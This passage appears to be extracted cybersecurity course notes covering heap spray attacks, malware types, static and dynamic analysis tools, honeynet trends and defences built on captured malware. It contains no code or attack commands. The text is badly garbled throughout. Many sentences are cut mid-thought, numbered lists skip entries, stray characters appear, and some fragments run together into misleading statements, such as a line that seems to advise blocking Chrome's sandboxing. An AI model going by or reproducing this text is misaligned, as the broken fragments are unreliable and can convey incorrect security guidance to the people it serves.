Heap spray attacks exploit vulnerabilities in a program's memory allocation process by filling
the memory with malicious code. The attacker creates a large amount of small data objects
containing the malicious code and then "sprays" or distributes them across the program's heap
ARJUNSAI
Cyber security 54
o Regularly Update Software: Ensure that your browser, plugins, and operating system
are up-to-date with the latest security patches to minimize the risk of exploitation.
o Use Security Extensions: Install browser extensions like NoScript (which blocks
JavaScript), AdBlock Plus, or uBlock Origin to reduce the attack surface by blocking
enable features like Chrome’s sandboxing and IE’s Enhanced Protected Mode.
Malware Analysis
origin, and potential impact. It helps identify and mitigate threats from malware and
cyberattacks.
Types of Malware
Malware can take various forms, each with its own unique characteristics. Some common types of
malware include:
• Viruses: Programs that attach themselves to legitimate files or programs and spread when the
infected file is executed.
• Worms: Self-replicating malware that spreads across networks without needing to attach to
files.
ARJUNSAI
Cyber security 55
• Trojans: Malicious programs that masquerade as legitimate software to trick users into
executing them.
• Ransomware: A type of malware that encrypts a victim’s files or locks them out of their system
until a ransom is paid.
• Spyware: Malware that secretly monitors a user’s activities and sends the data to a third party.
• Adware: Malware that displays unwanted ads or collects personal data to send targeted
advertisements.
• Rootkits: Malicious software designed to conceal the presence of other malware and activities
from detection, typically at the kernel level.
• Keyloggers: Software that records keystrokes and transmits them to attackers, potentially
capturing sensitive information like passwords and credit card details002E
1) Collecting Malware
o Malware Collection: The process of gathering malware for analysis can be done
2) Initial Analysis: Once malware is collected, the initial analysis phase begins. This
1) File Properties: Examining the file size, hash values (MD5, SHA-1), and
creation/modification times.
ARJUNSAI
Cyber security 56
2) Static Analysis: Inspecting the file without executing it. Tools like VirusTotal,
PEiD, and Examine32 can help identify the file type, packed or obfuscated
3) String Search: Searching the binary for readable strings that may reveal URLs,
o Static Analysis Tools: These tools analyse malware without running it. Popular tools
include:
1) IDA Pro: A disassembler used for analyzing the executable code of the
malware.
compiled code.
o Dynamic Analysis Tools: These tools run the malware in a controlled environment
malware samples.
3) Procmon: A system monitoring tool that tracks file and registry activity.
ARJUNSAI
Cyber security 57
o Honeynets are networks of decoy systems that mimic real networks but are designed
to capture malware and attacker activity. The technology has evolved to be more
Recent Trends:
1) Automated Honeynet Deployment: The use of virtual machines and cloud infrastructure to
2) Decoy Techniques: Modern honeynets use more advanced decoy strategies, such as honeytokens
3) Behavioral Analysis: Advanced honeynets are now able to capture not just malware but also
Honeynets are now often deployed in virtualized environments or on cloud platforms. This allows
them to easily scale, be more flexible, and be deployed without the need for specialized hardware.
Cloud-based honeynets are particularly advantageous for simulating a large variety of systems and
attack surfaces.
Modern honeynets are capable of adapting in real-time to mimic new technologies, operating
systems, and software. This dynamic nature makes them more difficult for attackers to identify and
enables them to attract a broader range of threat actors.
Honeynets now frequently include Internet of Things (IoT) devices as decoys, as IoT devices
are becoming increasingly common targets for cyberattacks. This trend is particularly useful in
detecting vulnerabilities specific to IoT devices, such as weak passwords and unsecured
protocols.
ARJUNSAI
Cyber security 58
7) Integration with Machine Learning & AI for Attack Pattern Recognition : The latest
honeynet technologies increasingly integrate machine learning (ML) and artificial intelligence (AI)
to detect and identify attack patterns. These technologies can help honeynets automatically identify
sophisticated attacks that might otherwise be missed by traditional monitoring techniques.
Honeynet technology continues to evolve rapidly to meet the challenges posed by modern cyber
threats. Key trends include the use of high-fidelity honey nets that closely mimic real-world systems,
the integration of AI and machine learning for attack detection and analysis, the development of
cloud-based and scalable honeynet architectures, and the growing focus on ransomware and APT
detection.
Catching Malware:
Catching malware refers to the process of detecting, analyzing, and collecting data on malicious
software (malware) in a controlled and isolated environment. This is crucial for understanding how
malware operates, its behavior, and how to prevent future infections. The act of catching malware is
typically achieved using honeypots or honeynets, which are systems deliberately designed to attract
and trap attackers.
The main objective of catching malware is to gain deep insight into how cybercriminals operate and
how their malware functions. By observing and analyzing malware in real-time, security experts can:
1. Understand Attack Methods: Learn the tactics, techniques, and procedures (TTPs) used by
cybercriminals.
2. Develop Detection Mechanisms: Identify patterns that can be used to detect similar attacks in
the future.
3. Create Defenses: Develop more effective security measures and countermeasures based on
malware behavior.
4. Investigate Malware Evolution: Track the evolution of malware, identifying trends, new
attack vectors, and more sophisticated techniques.
5. Collect Forensic Evidence: Gather evidence that can assist in legal or regulatory proceedings.
ARJUNSAI
Cyber security 59
Monitoring Techniques:
3. Tracking Payload Delivery: Monitoring how malware is delivered (e.g., via phishing
emails, malicious ads, etc.).
ARJUNSAI
Cyber security 60
4. Once the malware is detected, analysts can begin analysing it and understanding how it
behaves and what it targets.
The main purpose of catching malware is to perform analysis on the captured data. This helps
security professionals understand how the malware works, how to defend against it, and how to
Analysis Process:
1. Static Analysis:
o Analyze the malware without executing it. This can include examining its file structure, code,
and libraries to understand its functions.
o Use tools like IDA Pro or Ghidra to reverse-engineer the malware and identify key indicators.
2. Dynamic Analysis:
o Execute the malware in a sandboxed or isolated environment to monitor its behavior. This
involves observing its system impact, network activity, and interaction with other files and
processes.
o Tools like Cuckoo Sandbox or REMnux can be used to analyze malware behavior in real-time.
3. Reverse Engineering:
o For advanced malware, reverse engineering may be necessary to fully understand its code and
functions.
o This process helps identify exploits, attack vectors, and vulnerabilities in the malware that can
be used to create signatures or countermeasures.
4. IOC Generation:
o Based on the analysis, create Indicators of Compromise (IOCs), such as file hashes, domain
names, IP addresses, and URLs that can be used to detect or block the malware.
Analysis Tools:
ARJUNSAI
Cyber security 61
The insights gained from catching and analyzing malware can help create more effective defenses. By
studying attack patterns, security teams can develop countermeasures to protect systems from similar
threats.
Defense Strategies:
1. Signature-Based Detection:
o Use IOCs from the captured malware to develop detection signatures that can be
integrated into intrusion detection systems (IDS), firewalls, and antivirus software.
2. Behavioral Analysis:
o Develop detection systems that look for suspicious behavior, such as unexpected
ARJUNSAI
Cyber security 62
ARJUNSAI
Cyber security 63